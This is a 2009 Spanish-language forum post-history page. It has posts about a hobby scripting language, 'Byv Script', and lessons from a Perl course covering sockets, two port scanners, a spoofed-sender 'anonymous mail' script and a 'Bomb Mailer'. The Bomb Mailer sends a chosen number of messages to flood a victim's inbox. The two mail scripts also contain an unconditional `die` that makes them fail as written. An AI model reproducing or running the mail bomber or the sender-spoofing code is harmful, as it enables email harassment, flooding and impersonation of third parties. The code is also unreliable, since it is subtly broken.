elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ... 56
341  Programación / Scripting / Re: Byv Script en: 8 Enero 2009, 20:13 pm
Felicidades  te aplaudo por el querer emprender un nuevo reto,  crear tu lenguaje de programacion,   sigue adelante con tu proyecto

Muchísimas gracias, ahora voy por la parte más difícil de todas que tardare muchísimo en hacer, las variables, no se como podria crearlas, se que podria crear una variable, pero el nombre varia :(
342  Programación / Scripting / Re: Byv Script en: 8 Enero 2009, 19:39 pm
:laugh: :laugh: El lammer quiere crear un nuevo LP, la vaina es que tienes que tener conocimientos sobre la máquina de turin :laugh: :laugh:
Los tienes???

Ey tranquilo, lo llamas lammer por que quiere emprender un proyecto grande?  :rolleyes: :rolleyes:

Tu sigue adelante Erik#
Mis recomendaciones son que empiezes tu solo, por experiencia propia puedo decir que hasta que las demas personas no vean un buen inicio en tu proyecto no se uniran.

Muchas gracias chicos, esque RadicalEd y los del foro code-makers se pican conmigo porque les llame fracasados, intentan ir de lo que no son, pero ami me da igual yo no insulto, son script-kiddies, que les voy a hacer :)

Si, por ahora ya llevo 1 función xD, esque tube 5 minutos para hacerla este medio dia, ahora seguire.
343  Programación / Scripting / Re: Byv Script en: 8 Enero 2009, 14:51 pm
Esto podria ser así como ejemplo en Byv Script cuando este acabado, una calculadora de sumas:

Código
  1. #!/usr/bin/byv
  2. "Introduce una cifra: ":show
  3. cifra-variable:enter
  4. "Introduce otra cifra: ":show
  5. cifra2-variable:enter
  6. cifra3-variable:cifra-variable+cifra2-variable
  7. cifra3-variable:show
344  Programación / Scripting / Byv Script en: 8 Enero 2009, 13:41 pm
Byv Script

Bueno, antes de nada, llevo tiempo queriendolo empezar, y bueno, Byv Script un nuevo lenguaje de programación interpretado el cual lleva un line commander desde donde pondras
el archivo .byv que deseas abrir, este lenguaje llevara Sockets, Opciones de windows, Flujos de datos, Variables, Funciones, por pena aun no sera POO pero aun esta en crecimiento...

Creador o fundador: Erik#

Y bueno, queria saber si alguien se queria apuntar para crearlo, lo estoy desarollando en C++ pero si saben un lenguaje mejor para desarollarlo porfavor ponerlo aqui.

Todas las sugerencias, comentarios o dudas me encantaria que las pusierais porfavor para poder mejorarlo o poder hacerlo más facil, gracias.
345  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 21:00 pm
30.Escaner de puertos de X a Y

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. print "IP o HOST: ";
  4. $iphost=<STDIN>;
  5. print "Puerto de inicio: ";
  6. $puertoi = <STDIN>;
  7. print "Puerto final: ";
  8. $puertof = <STDIN>;
  9. for($puerto = $puertoi;$puerto<$puertof;$puerto++)
  10.   {
  11. $sock = IO::Socket::INET->new(PeerAddr, "$iphost", PeerPort, "$puerto",   Proto, 'tcp');
  12. if ($sock) {      
  13.    print "El puerto $puerto esta abierto\n";
  14.     } else {  
  15.     print "El puerto $puerto esta cerrado\n";
  16.     }
  17.   }
346  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 13:42 pm
29.Escaner de puertos

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. print "IP o HOST: ";
  4. $iphost=<STDIN>;
  5. for($puertos=21;$puertos<=270;$puertos++)
  6.   {
  7. $sock = IO::Socket::INET->new(PeerAddr, "$iphost", PeerPort, "$puertos",   Proto, 'tcp');
  8. if ($sock) {      
  9.    print "$puertos Abierto\n";
  10.     } else {  
  11.     print "$puertos Cerrado\n";
  12.     }
  13.   }
347  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 13:42 pm
28.Bomb Mailer

Código
  1. #!/usr/bin/perl
  2. use Net::SMTP;
  3. print "Buenas, cuantos mails bombs deseas hacer:";
  4. $n = <STDIN>;
  5. print "Introduzca el mailhost al que desea solicitar la conexion:";
  6. $mailhost = <STDIN>;
  7. print "Introduzca el email que desea utilizar:";
  8. $emailfrom = <STDIN>;
  9. print "Introduzca el email que desea bombear:";
  10. $emailto = <STDIN>;
  11. print "Introduzca el asunto del correo:";
  12. $asunto = <STDIN>;
  13. print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
  14. $sms = <STDIN>;
  15. for ($a=1;$a<=$n;$a++) {
  16. $smtp = Net::SMTP->new("$mailhost",
  17. Hello => "$mailhost",
  18. Timeout =>25,
  19. Debug   =>1,
  20. );
  21. die "No se ha podido conectar al servidor";
  22. print $smtp->domain,"\n";
  23. $smtp->mail("$emailfrom");
  24. $smtp->to("$emailto");
  25. $smtp->data();
  26. $smtp->datasend("To: $emailto");
  27. $smtp->datasend("From: $emailfrom");
  28. $smtp->datasend("Subject:$asunto\n");
  29. $smtp->datasend("$sms");
  30. $smtp->dataend();
  31. $smtp->quit();
  32. }
348  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 13:42 pm
27.Anonymous mail

Código
  1. #!/usr/bin/perl
  2. use Net::SMTP;
  3. print "Introduzca el mailhost al que desea solicitar la conexion:";
  4. $mailhost = <STDIN>;
  5. print "Introduzca el email que desea utilizar:";
  6. $emailfrom = <STDIN>;
  7. print "Introduzca el email que desea bombear:";
  8. $emailto = <STDIN>;
  9. print "Introduzca el asunto del correo:";
  10. $asunto = <STDIN>;
  11. print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";
  12. $sms = <STDIN>;
  13. $smtp = Net::SMTP->new("$mailhost",
  14. Hello => "$mailhost",
  15. Timeout =>25,
  16. Debug   =>1,
  17. );
  18. die "No se ha podido conectar al servidor";
  19. print $smtp->domain,"\n";
  20. $smtp->mail("$emailfrom");
  21. $smtp->to("$emailto");
  22. $smtp->data();
  23. $smtp->datasend("To: $emailto");
  24. $smtp->datasend("From: $emailfrom");
  25. $smtp->datasend("Subject:$asunto\n");
  26. $smtp->datasend("$sms");
  27. $smtp->dataend();
  28. $smtp->quit();
  29.  

Tiene el mismo c?digo que el mail bomber, pero lo quitamos el bucle for :).
349  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 13:42 pm
26.Enviar mensajes a una direcci?n [CHAT]

Bueno, aqui os pondre como poder enviar mensajes a una direcci?n ip para poder contactarte con el, primero yo lo hare local, as?, podremos ver mejor y probarlo y m?s adelante lo haremos remoto.

Empezamos con el que envia mensajes:

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $sock = new IO::Socket::INET (LocalHost => 'localhost',
  4. LocalPort => 1100,
  5. Proto     => 'tcp',
  6. Listen    =>  6,
  7. Reuse     => 1
  8. );
  9. die "No se ha podido crear el socket: $!\n" unless $sock;
  10. $conexion= $sock -> accept();
  11. $conexion->send($ARGV[0]);
  12. close ($conexion);
  13.  

Esto lo que hace es mandar un mensaje a la direccion 127.0.0.1 al puerto 1100 con el protocolo tcp, veremos que hemos usado una variable argumentativa, en la leccion 24 y 25 vemos algun ejemplo, emplearlo ;).

Y podremos ver desde un programa como telnet los mensajes que se reciben :).
350  Programación / Scripting / Re: Curso de programación en Perl en: 7 Enero 2009, 13:41 pm
25.Conexi?n a Sockets

A petici?n de rockox, pondre como hacer una conexi?n a sockets y una conexion a una ip, puerto y tcp remoto.
Primero, usaremos el modulo Socket.

Lo declaramos as?:

Código
  1. use IO::Socket;

Y luego, para acceder la conexi?n tenemos que introducir los datos, primero lo haremos por variables argumentativas como vemos en la lecci?n 24 y luego por variables simples usando <STDIN>.

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1],  Proto, 'tcp');

Aqui, hariamos algo as?, por ejemplo le llaremos conexion.pl, escribiriamos esto en el cmd:
conexion.pl "ip" "puerto" (sin comillas)

Y se conectaria a esa ip y puerto.
Luego por variables simples:


Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. print "Introduce la ip:";
  4. $ip = <STDIN>;
  5. print "\nIntroduce el puerto:";
  6. $puerto = <STDIN>;
  7. $conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto,  Proto, 'tcp');

Y listo.

En la lecci?n 26, veremos complementaciones a los sockets (scanner de puertos, mail bomber...)
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ... 56
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines